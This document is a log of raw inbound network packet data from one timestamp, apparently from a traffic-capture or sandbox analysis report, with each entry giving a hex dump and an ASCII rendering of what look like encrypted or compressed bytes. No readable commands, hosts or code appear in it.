2021-12-01 08:15:23 UTC	2741	IN	Data Raw: c1 25 68 ca 41 64 b0 33 07 3e d7 c4 e8 9e ac c9 42 9b ad 98 46 55 4f 34 7f f8 26 7f 6e 01 b2 a3 4d 42 b6 22 8f f8 2e 3d 0f 5e 48 06 90 5f b9 28 40 27 a5 f8 4f 2b 07 d3 cc 7e 76 aa 46 a4 6b 38 fc b6 2b a3 23 fe 08 f4 23 d1 14 c4 ee d5 2e db ee 35 0d 99 c9 13 7a f2 36 7a 18 70 51 4d 74 92 af 1d 44 20 e5 17 6b a0 38 3b cf 31 49 f8 a0 fe 23 c7 51 46 da 9c db 69 bf 90 87 bc ca 33 80 0a 56 36 7a 3b 5c 59 18 a5 24 fd f6 b4 c5 ba ea f1 f8 cb 90 09 30 f2 a4 33 e9 d4 c6 1c a0 57 e4 bf e8 52 f6 6e e5 2a 55 2a 5a 36 de 4a 70 04 17 ac 30 55 2d 6e ce b8 b1 22 02 d0 69 f7 40 13 22 20 58 90 6f 5d d3 a2 54 ac 44 88 8a 86 29 28 7d 32 03 b4 59 48 1b 00 02 79 8d 7d b3 fb 76 f9 f9 13 ae 21 65 51 85 10 1a 5f 0d 9c 36 ea 00 09 f2 1b f8 0b e8 58 22 64 e3 f4 77 db 87 3b 63 e9 32 Data Ascii: %hAd3>BFUO4&nMB".=^H_(@'O+~vFk8+##.5z6zpQMtD k8;1I#QFi3V6z;\Y$03WRnUZ6Jp0U-n"i@" Xo]TD)(}2YHy}v!eQ_6X"dw;c2
2021-12-01 08:15:23 UTC	2745	IN	Data Raw: a5 71 1b d1 28 60 12 63 02 08 32 56 de 45 f4 48 af b6 45 32 a2 0f a0 47 61 5f 81 a0 22 eb 35 48 fa 85 58 5f a6 ed 4f 38 cc 8c f3 92 07 70 6f 14 6a 83 09 cb 03 03 2f e8 08 00 00 79 f4 ac 51 cc 10 61 39 bb 2f b8 87 e9 6a 19 54 45 d0 c1 2c 64 39 6a b0 7d f7 7c 6f 1b ba 50 92 84 71 24 71 ef 2c 3d 57 10 63 71 d2 32 ac f4 ee 6d aa b7 62 41 73 c7 0c d5 a3 e5 f6 c2 1a 11 0f fe 3c a9 d8 88 f2 fe 80 ba f3 09 eb f7 dd 92 6e 15 2a 7d 5c 5a 26 3e f9 fa 96 95 ff 2f 9f b9 38 d8 f9 28 ac 97 22 fa 00 03 ba 34 f2 1e c0 3e ed eb fc e6 a6 58 af 06 14 a6 a0 56 c6 bf 71 e8 ed b9 ce 45 80 dd 32 a4 77 d8 4e fc 55 7f 2d 9f 9c 1a 03 f0 7e b1 0b a0 aa 35 6f d3 d2 56 9f ff 95 d1 7c 87 64 ac 58 fa 9a d0 3b 9e 63 af e4 e6 37 cb 8b 84 de 8d 09 52 95 95 70 b7 9a 79 c9 d0 58 c9 a7 e0 45 Data Ascii: q(`c2VEHE2Ga_"5HX_O8poj/yQa9/jTE,d9j}\|oPq$q,=Wcq2mbAs<n*}\Z&>/8("4>XVqE2wNU-~5oV\|dX;c7RpyXE
2021-12-01 08:15:23 UTC	2761	IN	Data Raw: 45 6d 5b a0 55 bd 74 37 99 89 ba 85 d8 c0 4a 1e 7b 1c 96 26 24 06 fc dc 66 6c e2 0b 15 07 10 7f f6 b4 36 2b 11 f7 8b c6 aa 06 41 7f b3 4c bb 28 60 09 16 85 ad e4 a2 91 08 8e cb db 3b f8 84 28 80 fc 69 98 aa 38 14 6f d6 df 40 d6 df b7 d2 1e 17 78 4c ba e8 c4 01 e3 d2 95 68 ea 10 3b 17 56 04 cf e5 60 83 bd 9e 4a 79 1c a2 70 9a ef bf a3 e1 ea d9 24 40 3b 44 5d 6d 2e 25 95 6a 31 52 4d b6 38 de 69 4d 77 e4 28 af 0e 3e 08 3b 5a 5a f8 75 7c a0 f9 ac 6e 5e ab bb 71 00 7f 2d b7 67 90 57 e2 57 98 94 fc f9 79 1f 3b 81 d9 c8 45 2b 42 b1 27 b3 7f f0 8b 4b 46 d2 8a a8 f4 50 7a ea 8b 93 ab 9e 16 90 f4 a5 cd 96 66 0a 51 49 24 d2 16 85 6f 7d f3 1c 24 d8 1c 6f f7 8f 72 88 74 19 43 47 3e a7 22 33 1e 55 c4 d0 33 66 9b 61 09 dd 52 87 45 e9 e1 20 37 8b c9 ab 91 c3 20 c0 e5 e3 Data Ascii: Em[Ut7J{&$fl6+AL(`;(i8o@xLh;V`Jyp$@;D]m.%j1RM8iMw(>;ZZu\|n^q-gWWy;E+B'KFPzfQI$o}$ortCG>"3U3faRE 7
2021-12-01 08:15:23 UTC	2777	IN	Data Raw: 88 3e 89 26 e2 1f e0 e9 bc 77 14 34 6a d7 f1 a7 14 01 d3 3a f7 8d 4a aa b0 a7 ce a5 ef ed eb f6 55 1c 65 be b2 96 ce 14 7a 98 2d 11 63 7d 80 76 d2 f3 24 b4 e0 20 5d 55 72 af d1 ed e0 11 30 1f e2 9f 4f 89 32 ef 03 7b 60 2f 11 cb 2e e8 83 6f df 0a 24 66 f8 78 08 17 89 4f a9 4e 0d e3 27 64 09 a4 21 88 d0 48 20 ab a4 21 e1 3c 47 f3 f7 3c 88 57 8b 2c 7c b4 b9 83 63 11 79 0d a0 d8 f9 a6 87 47 26 39 3f 0f ea 13 4d ad a6 8f 3b 96 b3 fe 12 3c 78 31 ea d0 71 02 7a 3f 24 c1 6c e2 1d 2c 62 dc 9c e9 ff 73 5d ca f3 6e 9b 9c c0 7a 94 20 9d 59 50 4b 10 03 39 55 c3 6f 0a a4 50 f7 2f c4 0d c6 d9 a2 df 62 39 b8 22 f2 b1 ed 40 89 69 06 bf c7 73 4f 57 05 2c 3e ce 92 0d b4 dc f5 3d 83 ae 9a 13 84 06 66 29 67 b0 27 d1 98 20 f8 78 9b 5c df 56 65 33 db 2a 62 6c e3 08 c6 d4 33 83 Data Ascii: >&w4j:JUez-c}v$ ]Ur0O2{`/.o$fxON'd!H !<G<W,\|cyG&9?M;<x1qz?$l,bs]nz YPK9UoP/b9"@isOW,>=f)g' x\Ve3*bl3
2021-12-01 08:15:23 UTC	2793	IN	Data Raw: bc 13 5e 35 4e c2 e5 fd fb 76 8b a1 7e 4f c9 97 d9 3d 4a de 31 5e 02 f9 91 22 d6 41 a7 ef 52 18 79 36 7b 2f ba af ea 88 f1 d8 8f 53 7f 84 a0 8c 56 0b bc 73 0e 2e b4 2e 1a c5 41 97 2f 6c 62 65 41 63 5c 3e 6a 29 9a 9c e8 65 dd 68 08 2d 53 06 b4 16 51 f4 d2 fc 3f d0 b5 fb 15 36 57 90 36 b6 fc f9 76 81 75 18 54 6f f7 2c c5 3d 45 13 14 d5 dd a5 0e 8c 56 48 3a a5 15 f0 03 8d 40 64 95 ae cf b4 bf cf bf e2 b7 a5 a3 7b 3d d7 0b c3 ac d2 92 a0 84 ea b2 c1 a7 24 22 c4 d0 45 de 95 5c 9b 70 42 21 c8 e9 30 3c d0 87 48 74 b7 0b cf c8 c0 19 a6 8a cd 09 14 05 b9 2f 9e 54 92 80 ac d6 7d f8 8e 1f f4 5b 50 49 e6 4e c4 fe 93 14 f6 79 0e d9 42 ea 22 6c 5b 70 26 e9 bf 59 ec 83 f7 22 a9 e6 1d e8 b9 eb a2 61 8e a3 f6 c8 14 53 b6 03 f3 37 c3 53 9b 83 c4 06 00 9e c7 f9 0b 44 4d 0b Data Ascii: ^5Nv~O=J1^"ARy6{/SVs..A/lbeAc\>j)eh-SQ?6W6vuTo,=EVH:@d{=$"E\pB!0<Ht/T}[PINyB"l[p&Y"aS7SDM
2021-12-01 08:15:23 UTC	2809	IN	Data Raw: b9 16 5d 77 81 5d 79 a9 0f fd 5d a2 63 2e 3d ec 77 85 cc b4 ec 5a 50 e1 ed 9e e1 5b a3 ab 91 21 75 0b 0a 72 26 bf 36 48 4b 99 6f f2 e4 85 25 58 c1 7b 75 d4 d5 3f 2e 59 79 d3 9c 0e d1 5d 88 b7 2d de 62 aa bd 44 b0 d7 14 b4 2e af e6 c0 1e 3a ed bf 77 06 43 b0 e4 b5 a6 04 2e 60 8d 5f 41 35 11 07 79 9a 3d b9 17 48 aa 51 a0 3a 83 5b 2c 25 16 e6 c8 1b a1 d3 5f ac 2b f2 84 6c 2d c0 f8 a5 73 7b 9b b1 bc 0d 17 04 24 5d ba 41 e6 fc 47 ea 54 d7 18 34 e8 0b 8f 2b 75 48 92 01 b3 b2 89 e4 a9 e8 2c 4b 67 57 00 80 d2 24 3d 4e b3 af 57 3c 2c af 39 83 44 90 f2 5d ab 68 64 32 8f 0a f4 2f 78 fb d4 5e 89 02 71 38 8f 9e 32 48 f9 af 24 22 72 44 60 26 f4 6c a8 4e bc 99 7d ae 08 ac 3c ff 9e d2 70 be a9 45 90 d1 e0 01 f5 23 4b 98 27 f2 f5 c1 14 85 d1 fa e6 ff 9f 9d 8d dd 86 be dd Data Ascii: ]w]y]c.=wZP[!ur&6HKo%X{u?.Yy]-bD.:wC.`_A5y=HQ:[,%_+l-s{$]AGT4+uH,KgW$=NW<,9D]hd2/x^q82H$"rD`&lN}<pE#K'
2021-12-01 08:15:23 UTC	2825	IN	Data Raw: 32 f2 09 5e e4 4a 57 18 1f f5 36 de 10 d0 de 4e 38 30 e5 23 b1 c5 26 fb 63 28 b0 89 c5 6e 81 a5 06 3d cf 1b c4 60 5b 0f b9 ae ac 66 c4 bc 2c 57 1a 6f f5 8e ba 07 2c 8f 74 1f 04 42 e7 c0 23 92 15 4f af d4 77 01 5a d0 4a e1 37 7c 5f 28 4a 11 cd ab 4e 5e c2 b2 b4 81 f1 d3 8a c1 4a bb c2 33 9c 32 0a fa e3 4a d7 55 a9 b5 88 d3 64 22 c0 e9 56 c6 74 03 36 e2 87 fb e1 14 24 7a 4e 18 09 f1 61 c3 ef b8 89 3a f3 10 39 9c 3f a0 b5 9c d7 c9 82 bb 19 2c 2e 7a 58 bb c7 f0 e5 57 c4 7d 93 4b bd 6b 80 e2 a6 57 c9 63 8c 4d a4 da 39 09 d1 fb d8 aa d2 bb d1 ed 0d ef 93 bf 8e d1 86 c9 04 72 fb d3 f4 eb e8 03 35 c3 4e ac 59 de 3c c4 fb 2e ea f6 92 33 0d 27 63 aa e9 0f da 8a 4a 58 cf bb 48 18 9e f2 f8 1c 52 e2 2a 6c ca 12 d7 d0 48 7c 78 f1 dd 3d ad 5e 9c de 10 a1 a2 1c 2f eb ef Data Ascii: 2^JW6N80#&c(n=`[f,Wo,tB#OwZJ7\|_(JN^J32JUd"Vt6$zNa:9?,.zXW}KkWcM9r5NY<.3'cJXHR*lH\|x=^/
2021-12-01 08:15:23 UTC	2841	IN	Data Raw: ea d0 52 4c 56 71 f2 74 42 b9 8c aa 56 ae 84 8e f0 58 b0 bc ed ee a9 61 1c bc fe d6 58 07 7f da e3 fb ec fc 7c 29 8b 43 8b 32 5b d4 8e 46 3b de 6f 44 02 52 50 38 e5 4a e0 e7 91 08 5f 9c e5 bc e2 9b 09 5f 74 a1 fb 8d c5 7e a0 86 d8 c4 54 50 08 e1 b2 ef be 4a d8 de 50 13 e8 77 67 04 9a d1 e7 60 1e 57 ad d7 ba e7 d5 68 18 c1 e7 8c b9 a7 fc b6 bd 04 df 11 bf 02 5b 1e d0 b7 11 7a 0b 79 27 5a 48 50 65 02 13 fd b4 12 07 84 2f 35 39 34 90 97 2b b3 7e 23 b5 f3 07 d9 60 2c 06 7d 05 a5 50 c3 e2 0d 37 1a 6b c4 a7 fc f9 bb a5 a8 89 b7 05 68 23 20 a7 a8 58 c8 13 a6 53 f7 2a 06 60 7d ff b5 19 99 84 50 9d 85 8f 44 7f 97 ed 15 3f 06 4d ac 2c 47 63 c6 d0 c7 07 fe fa a7 d3 eb 18 ad 40 0c 5e 53 26 f5 05 24 2a ee 0b e7 56 97 da cc 1b 28 99 31 70 1a 9e 9a fc e0 2d 4d e7 1c 90 Data Ascii: RLVqtBVXaX\|)C2[F;oDRP8J__t~TPJPwg`Wh[zy'ZHPe/594+~#`,}P7kh# XS`}PD?M,Gc@^S&$V(1p-M
2021-12-01 08:15:23 UTC	2857	IN	Data Raw: 1e 59 a6 ad 18 54 7d 4f ca 58 50 3c 92 45 e6 69 95 77 a0 4a 19 87 21 ee ed c7 b2 cb 41 3c 6b f7 57 13 dc 3b be 73 e2 3f 98 51 b2 4b 25 8e 36 a2 d8 43 a8 44 8d e1 a5 2f e2 f0 64 c5 1b 91 8e 1b 01 aa 34 60 cf 30 92 0a b3 24 17 aa 16 17 fc 79 77 dc 2b a9 cc ab 16 5e 53 d2 64 f8 6e db 9e 34 65 1a eb 4c 8a 6c 84 60 34 6d 51 30 df ca c2 ec 02 be 6f 73 28 ae 2b 95 e5 ac ee 2c 77 62 d1 8c 30 5c 82 02 6b 89 eb 02 5e 79 fe 4e 26 90 65 1d 5b 1a a3 fb 5f 3c 95 ac 0b 6a 52 35 b7 b8 2d d8 f6 70 53 40 fa 45 50 ca ce d3 94 1b bd 06 a1 96 34 3a f2 50 04 5b bc 38 a6 b2 72 63 91 a9 aa be 2b c9 fb b0 9e 3d eb a4 0f 39 23 1d 26 87 3b 62 c3 c2 c3 ea 89 94 35 f6 45 a5 68 42 7d 31 0a d7 9e 1c 5c c0 a0 f8 02 3b 6a d3 b9 f3 15 cb 15 43 4f 7e 6f 85 5a a2 a4 85 d3 71 6a 4f 94 9c 2b Data Ascii: YT}OXP<EiwJ!A<kW;s?QK%6CD/d4`0$yw+^Sdn4eLl`4mQ0os(+,wb0\k^yN&e[_<jR5-pS@EP4:P[8rc+=9#&;b5EhB}1\;jCO~oZqjO+
2021-12-01 08:15:23 UTC	2873	IN	Data Raw: bf 1d 30 77 14 d2 05 8b 10 2c 0a e1 d1 ab 5a b0 6c 24 6a 80 7e 80 10 25 04 43 82 24 ea 30 1c cd 00 50 ae 4d eb 29 f6 a1 66 b7 5f b1 6b f5 59 33 38 ba 0f e7 bd 67 c4 dd bc 01 ec 43 53 cb 67 18 fe 90 fa 62 20 e5 6c 4e 7d 72 70 5d 5e ec 02 2b 0c be 03 8b 47 02 74 64 5b 02 0e 8a 04 8c bc 78 ae d8 2c 0d e8 32 c8 66 eb 8f e9 a9 ee 98 a3 64 bf 22 83 90 78 30 72 ec 5e 91 61 e1 e8 81 63 98 19 a2 b0 e7 19 94 c8 2b 9e 62 4a 1e d4 8f e3 75 53 1b 86 3c e2 61 c8 8d fd 2d e3 73 c8 45 0b c6 4e 9c d1 14 f7 d7 a7 92 1a 87 f4 e6 03 1b 24 8b 9c f9 41 43 d9 97 42 fa f0 05 46 f0 2d 18 04 73 a6 21 42 a2 18 93 4c 67 5f eb 59 43 74 ea 3d ec ca d6 6d e5 ed 99 a7 30 30 93 64 62 11 30 5f 24 74 03 38 8f d4 fb 7d 28 3e 3a f4 a8 a7 f9 9f 7e cd c7 c3 03 1c 6e 8b 01 24 a5 b7 79 45 56 25 Data Ascii: 0w,Zl$j~%C$0PM)f_kY38gCSgb lN}rp]^+Gtd[x,2fd"x0r^ac+bJuS<a-sEN$ACBF-s!BLg_YCt=m00db0_$t8}(>:~n$yEV%
2021-12-01 08:15:23 UTC	2889	IN	Data Raw: 57 9e 05 07 63 fb 1d c7 a2 e6 b5 1d de 76 ff ca 15 22 6f 1c 92 4e da bb a3 7f 3c a7 aa 9e c2 d7 71 70 19 5e f5 62 99 3b 9a c3 e8 6b 23 73 86 78 b0 cd a0 46 d8 48 f8 1a f7 29 8f 88 82 01 4e 4e 1f 5f 08 f9 92 05 1a 64 7f 17 1e d4 3e 74 dd 91 b3 dd c8 b6 54 24 ba d0 88 e5 97 11 74 48 a9 20 f2 16 59 8c 3d dd ca f9 67 10 03 06 a6 43 ce fc cc b4 9f 1c 29 95 47 68 8a a8 81 ed 24 78 fa 14 45 39 27 3b 75 c2 39 a4 23 c7 50 8a 44 32 92 b2 23 00 4d 27 b2 62 0d 6d c7 77 65 0b 41 2a 76 94 8d 72 95 5e 9d 15 75 62 c9 48 6e a4 fd 4f 2f 58 3a c1 4c 04 1b 86 d5 23 4e d1 f1 37 30 59 e9 5c fb 2f fc 50 32 90 d2 b2 6a 6a 55 40 50 51 95 70 b9 20 34 e3 6b f6 b8 23 d6 4e a5 14 83 72 8d 90 49 26 87 eb 67 9c f6 8b 56 22 8e 67 7a 18 6c 25 18 70 09 04 10 61 92 39 8f f1 05 30 2f 82 ff Data Ascii: Wcv"oN<qp^b;k#sxFH)NN_d>tT$tH Y=gC)Gh$xE9';u9#PD2#M'bmweA*vr^ubHnO/X:L#N70Y\/P2jjU@PQp 4k#NrI&gV"gzl%pa90/
2021-12-01 08:15:23 UTC	2905	IN	Data Raw: bc af 5c e9 11 55 66 42 0d 05 b1 9d 82 32 9b db d9 f4 a0 a9 1e 98 a3 c3 b8 cc 0c e7 5b e0 aa 64 62 dd 31 02 28 72 af 22 4c fd 8f bb c3 60 4e 77 59 79 22 93 21 dc 1f 03 8f 8f 27 00 6f a5 06 98 ec 70 31 c1 3c 2a 62 02 00 7a 87 b6 52 df 26 b5 eb 60 74 92 1b 08 41 fa 25 e0 cc 2b 84 ee 64 5e 05 18 60 fe 75 1d 0d 3b 27 a7 82 fc df ca 26 c6 e2 13 c4 eb 25 7a 0d e3 3c bc 2c 9d 72 f7 76 7d 48 72 67 6c 7a 1e a9 95 8b 2f 9b bf 31 56 e8 38 49 81 44 25 99 3e 6c 5e 5b 03 34 fc 01 75 b5 8e 82 e8 49 01 9e 0a 2e 54 3c b3 23 b8 81 27 2c 23 4b 04 f6 ef fb ba 9b 29 26 02 0a 24 b7 49 ca 49 6c 58 6e 78 f9 8e f6 81 74 51 07 7f 22 a3 0c a0 8b 4d f9 2c fa f0 63 3f da be 8e ab 29 0a 1b f2 36 e1 a9 3f b2 69 f2 29 4e d1 ce e6 43 92 7a 74 04 20 84 4f b2 1c 70 13 47 70 d8 2b d8 ca 2f Data Ascii: \UfB2[db1(r"L`NwYy"!'op1<*bzR&`tA%+d^`u;'&%z<,rv}Hrglz/1V8ID%>l^[4uI.T<#',#K)&$IIlXnxtQ"M,c?)6?i)NCzt OpGp+/
2021-12-01 08:15:23 UTC	2921	IN	Data Raw: ad db 38 4c 7b 02 cd f0 1d 64 8b a0 22 5e af 91 b6 aa 24 0b 5c 6c 1c 05 bc e7 98 0b 4d 6e 04 d4 03 de 69 61 b7 68 7c f7 c1 8c 1d c5 09 1a 62 70 dc fe 32 ff e2 76 ad 30 ab 21 ad 83 66 fd 7c 22 34 e4 ed af 02 63 19 e1 57 ef af d8 89 b7 eb c5 d1 6b 32 6e ef 3e 89 57 d9 5f 82 a7 f2 85 dc 29 51 46 a9 76 03 7d 3c 13 07 4b 68 64 05 ab 46 9c 21 95 fa 3e fd cd 42 09 d8 92 c1 13 cc 2e 89 0a db 6e 90 05 83 0c 52 c1 a1 72 25 80 51 33 98 1b 77 68 bd 5a cb c8 d3 67 03 66 f2 23 b0 29 a1 95 07 fd 72 1f f3 47 06 b4 13 82 43 2d a6 e9 80 4b 99 6f c0 b0 a3 63 0b 78 c2 8d cd 2b b5 62 66 b9 8e 97 a3 85 ac ae e1 8d e6 4b 27 cc 8e b7 a4 34 dc 3a 52 01 95 dd 9a aa bd c9 ce 47 66 d8 4c 1d c4 99 c6 29 b7 9f 5e e6 53 1f 5b 90 8e 09 b5 08 6c 60 aa 61 37 4c 84 d0 fe 4b 09 b0 66 b4 00 Data Ascii: 8L{d"^$\lMniah\|bp2v0!f\|"4cWk2n>W_)QFv}<KhdF!>B.nRr%Q3whZgf#)rGC-Kocx+bfK'4:RGfL)^S[l`a7LKf
2021-12-01 08:15:23 UTC	2937	IN	Data Raw: b4 28 74 fa ce 47 56 55 57 fc 0e fc 7c 26 f2 27 4b ef 0b 0f 2f 35 f2 35 ed 2c 2b 86 dc a3 e7 a2 e7 c3 f2 b4 29 ba af ac 03 dd 65 53 62 9f b6 41 68 05 26 d8 8b d7 0b 75 8f 09 4e ad 28 4a f4 ac b6 ec 3f 0b 6b 6b 5c c0 14 a1 ce 9a db 76 f5 c2 5a 84 19 c7 d9 e5 0d 71 7c 09 c7 cd 3a e1 7c 76 b1 91 7c c0 a6 c7 be 73 c1 0a 30 7d 75 2c e7 e5 08 6a 1b cf 23 82 b7 a4 25 8f f8 af d6 62 6e 88 ad 9d a1 6e 45 56 d2 42 53 50 a2 9f 44 87 99 fa 2b 8e ce 4e 79 1d 1f bf 97 a5 17 b1 90 c3 7d 86 a7 7e 74 ca a7 41 9f 79 3e 62 46 d2 a0 e6 9d 3a e8 d7 81 37 58 c9 97 e1 0e 72 a7 e1 72 03 cc 7c 1f 20 ca b2 d8 72 9c b8 5e 36 ba 57 ad ea a0 dd 5f e9 bb b0 34 ea 15 4c dc bc ce 34 6a 42 ac 1f b9 fc d7 f5 16 b8 42 93 5f e0 75 1a fc 12 7c 35 45 fe 2f 26 d7 1c e1 51 61 b5 14 d7 db 2b 6e Data Ascii: (tGVUW\|&'K/55,+)eSbAh&uN(J?kk\vZq\|:\|v\|s0}u,j#%bnnEVBSPD+Ny}~tAy>bF:7Xrr\| r^6W_4L4jBB_u\|5E/&Qa+n
2021-12-01 08:15:23 UTC	2953	IN	Data Raw: 8d 00 e2 62 59 91 29 83 b1 94 75 87 01 b5 a9 f5 36 d4 02 81 ff d3 e8 a4 24 2f 19 b5 5a 5e 9d 46 2c 34 5c ed 8d 76 ec b2 21 e9 60 31 a5 86 b3 d0 46 06 f8 51 86 8e 85 98 42 f0 46 d3 98 aa 6c e0 56 f3 d7 f6 9e d8 64 a2 0a 33 74 ba c4 d1 f3 af 0c 44 75 de 0e 70 04 e2 56 0c 43 c5 98 87 ea bd 52 57 db d1 d4 ce 5d 1a f6 fb f5 db 99 45 60 58 31 6b 6c 5d 82 df 82 f5 f6 00 1d 76 47 86 65 79 32 d8 3d 23 65 58 ec 9f dc 4f 94 99 f9 27 05 98 37 91 cd f5 16 e6 3b cf 37 7c 61 76 3d 78 66 b5 a2 04 fa 83 20 b6 18 19 1f 7f b2 97 d3 d3 62 90 f2 31 0b dc 62 fb 0c 95 5a 10 a9 fc 06 93 a5 e1 67 61 cd 86 4d 57 54 8e 86 2a 76 94 50 12 f3 99 77 bb e3 a7 8e 1a 64 f2 ea 46 69 8d e0 63 b2 13 f7 2a cc 54 d6 31 9a 2f 91 eb 3c 9d 04 49 9b b0 de 5f 76 24 29 80 46 93 09 cc 3e 25 81 be c9 Data Ascii: bY)u6$/Z^F,4\v!`1FQBFlVd3tDupVCRW]E`X1kl]vGey2=#eXO'7;7\|av=xf b1bZgaMWTvPwdFicT1/<I_v$)F>%
2021-12-01 08:15:23 UTC	2957	IN	Data Raw: c4 c1 2d b3 6a ab cb 3f 06 4b fd fd 48 5e 42 1c c5 c1 9a f8 16 4b d1 cd 54 55 08 67 8c 9a a8 f9 59 91 e4 29 1a 03 04 11 8a 70 22 9f 6c c0 fa 6a f7 c9 16 dd 89 51 17 39 94 21 85 8c 28 f7 df 53 e2 ad 8f 88 ac ed a6 c3 90 90 57 ff 21 07 15 bc 26 9b 97 01 2c 0d 25 25 82 cb ba 54 d3 ac fb ad 00 db 7c e1 8e a0 07 7a fb 40 a4 3e 39 44 cd bc 72 3a 5e d4 ea 3c 6b 53 1d 3b 7d 9e 7b b5 38 e9 7c 2a ff 06 24 64 c7 d4 27 76 77 9a 23 08 a7 97 33 66 a1 c5 fd 1f 10 0f ec 7e 9c 43 74 60 94 15 ee 4a ac 7b fb 7b 6c 3a b8 4b 22 79 6f f6 33 6e 06 4f a0 3c 84 d7 92 ae 8b df 70 3b e0 e1 fd 6d a8 7a 9a b1 6d ef 86 7b a9 df 10 d3 bb de e1 4e e2 39 5f ff 37 af f8 3a 52 a4 48 5d 95 ec 81 38 82 03 95 5d 9c 2a e0 3c f8 f5 ef ce 41 d1 9a 82 72 db f7 77 36 a8 a3 b3 fe d6 15 51 ec 60 78 Data Ascii: -j?KH^BKTUgY)p"ljQ9!(SW!&,%%T\|z@>9Dr:^<kS;}{8\|$d'vw#3f~Ct`J{{l:K"yo3nO<p;mzm{N9_7:RH]8]<Arw6Q`x
2021-12-01 08:15:23 UTC	2973	IN	Data Raw: dd 1e 66 01 e8 40 a6 ab 4d f8 1e 54 ca 90 c0 1c 0f be 6a 23 17 ed fe 72 c0 68 3d 9e 4b ee 1b 92 d7 00 0b 96 15 41 4f 8f 09 b6 3b 74 9d da 3d bd 42 bd 8a dc 60 66 eb b0 c7 af 6e d6 79 4e 00 3c bf 63 00 c3 00 49 8f 92 b5 36 91 9b 69 1e 58 ad a8 c6 04 72 ea 1e 79 70 da 68 a2 91 14 35 59 aa 78 be 38 10 ce 7a 75 f7 d8 5d 00 df 68 ee 0d 51 53 61 46 2f e4 8c b6 1a f9 b9 5e 4f 73 e7 91 05 1a b0 b8 85 6f ab dc 60 ac fa 5e d5 b9 40 97 60 e8 70 0a 68 20 ed 12 78 1b 0c ec 5f 97 88 83 b8 8e 03 35 fa 39 84 73 c4 cd a9 4f fe 06 f7 c0 11 de d5 6b 92 5a 36 50 b7 56 69 ca 89 ad 22 c6 9d 29 40 71 49 c4 39 a7 63 97 d1 59 b8 79 4e d2 08 37 82 21 94 a7 34 cd 63 1e 2b e7 69 ba 02 3f c4 cf 74 fe 5d f4 f7 76 84 39 37 3c 07 3c 4f f7 1e 53 e2 85 7c 8e 2f 05 2a c0 1a d7 cd 58 b6 cb Data Ascii: f@MTj#rh=KAO;t=B`fnyN<cI6iXryph5Yx8zu]hQSaF/^Oso`^@`ph x_59sOkZ6PVi")@qI9cYyN7!4c+i?t]v97<<OS\|/*X
2021-12-01 08:15:23 UTC	2989	IN	Data Raw: 3f 0d b6 67 f6 eb 8b 3a c6 85 d2 0e 55 c4 a9 0b 4a 67 a0 f5 50 27 0a 8d 5a be f4 49 8d 4f 03 71 33 88 5a a4 8b 6d fa 03 36 fd ab 34 89 73 a9 d5 cb 9e 14 8e 32 f1 12 79 b7 c0 60 56 84 b1 36 aa f2 3a 43 e6 64 9a 47 ca 8f b0 fd 00 06 66 d6 2c 7a e6 e5 ce 67 d2 ac b0 e0 8f 2d a2 25 e6 b3 1d ed bd 73 67 b3 72 bf 9a 71 27 89 05 f5 8b b5 b7 69 b2 5a d5 65 23 e5 c7 55 b6 35 bf 3c 86 72 f3 34 12 fc 18 d7 de 27 42 d3 8f ae a1 26 0a 0e d8 c1 e6 8b d6 5d 50 da b3 13 b3 f5 71 4a 58 1a 15 51 8c 87 50 e5 26 da 25 cf dd 94 09 3f 1c 0b ed ac 03 e6 97 6f 57 11 ff 30 fd 5d ab 11 ed 2c 89 99 85 dc d6 3e d9 83 c3 2e 65 28 9b fc 05 54 6b 70 11 ca 64 a6 f1 15 21 48 a0 65 e1 10 03 09 75 4b 8c d6 6d b7 02 03 9b ac 02 e9 42 36 33 7f 4b 51 02 60 34 02 b2 f0 9d 2f 74 95 5d 38 85 66 Data Ascii: ?g:UJgP'ZIOq3Zm64s2y`V6:CdGf,zg-%sgrq'iZe#U5<r4'B&]PqJXQP&%?oW0],>.e(Tkpd!HeuKmB63KQ`4/t]8f
2021-12-01 08:15:23 UTC	3005	IN	Data Raw: a3 4c 21 63 ee 62 3d 9f 03 40 26 b6 f4 01 7d fe 51 ba cb 6d 08 fd d7 2f af b9 1f 4d 63 91 2d 5c d4 39 ac f0 0c 82 69 93 d6 50 53 b6 84 1d 95 55 47 f5 b4 01 db d5 9e 42 84 71 ef 44 28 fd 55 30 91 e2 14 1c 5b 4e 9c df 08 7b 6b ed ba 32 cb 3b e6 56 f0 b5 46 4b 9b bd b3 99 d4 ba ff 21 6d d7 b1 1d 84 f0 e6 86 ba 88 f4 c2 6d 6e 4e a6 18 f0 e1 e0 71 e5 a4 62 21 be d1 49 4a 54 21 64 5d c9 f8 bc 35 3a 16 9c 9a b3 95 8f 83 d8 71 db b7 2b 76 ae d2 8c f5 5f 9d 09 ac 90 b5 4a 09 37 80 5f 79 f5 aa 8b e3 dd bb ea 9a a3 14 e5 de 37 b8 a7 d4 14 ee 9b 1c c6 b8 25 11 51 71 fd d6 0f 08 40 4d e7 77 87 62 4c c2 f2 f6 6e d8 c6 8b a3 7b 74 29 e6 1b 6e 4f c8 64 66 e5 2e 88 25 83 d7 27 82 40 b5 b0 8e 12 f5 63 ab a6 ea 47 b7 05 de f7 fd 6f 66 bb 8a cf 96 78 bf 76 d7 1b 73 d2 f8 61 Data Ascii: L!cb=@&}Qm/Mc-\9iPSUGBqD(U0[N{k2;VFK!mmnNqb!IJT!d]5:q+v_J7_y7%Qq@MwbLn{t)nOdf.%'@cGofxvsa
2021-12-01 08:15:23 UTC	3021	IN	Data Raw: 03 2c c0 3b 51 e6 b9 f4 0b 00 f0 cf d0 8c 94 c5 5f ae ca 9f d4 2b ad 7e d1 4e c0 cf ae 9a 67 72 a6 71 82 a8 ce fd 2f 29 29 88 f3 65 00 72 66 38 04 c6 94 9f b4 0e 6e 47 d2 d5 ec c4 9f 31 61 78 20 1c 31 2a 95 df 80 e4 74 e6 20 73 a9 f9 20 5b 68 4e e2 ad f9 85 e9 2c 01 3a 30 8d cf 80 2e 5c f1 92 da 21 df 51 45 07 b0 a7 04 f2 20 27 3b 00 fd 60 95 af 9b 71 4e 46 34 56 43 37 ff 42 4b 94 d7 26 ee b1 b1 f0 98 75 5d 96 c4 17 2a c3 22 4a ed 1a 37 3e 30 2b 86 a0 6d 0d 15 f6 df dc 1d 9a 7b a3 ef a4 ce f1 b0 c0 61 50 f2 02 b8 fb 1e 96 7c 44 b1 55 16 9f c7 7e 13 09 ec c9 08 0d 71 51 ef 39 ed 72 0a db 2e 6d 0d ed 7f f7 54 45 f1 a3 dd d9 3b 67 c3 00 b1 89 cf 45 5a 1d 48 53 5c aa 19 1d 67 fd a3 7b 4c b8 22 de e0 1c 3d 55 e3 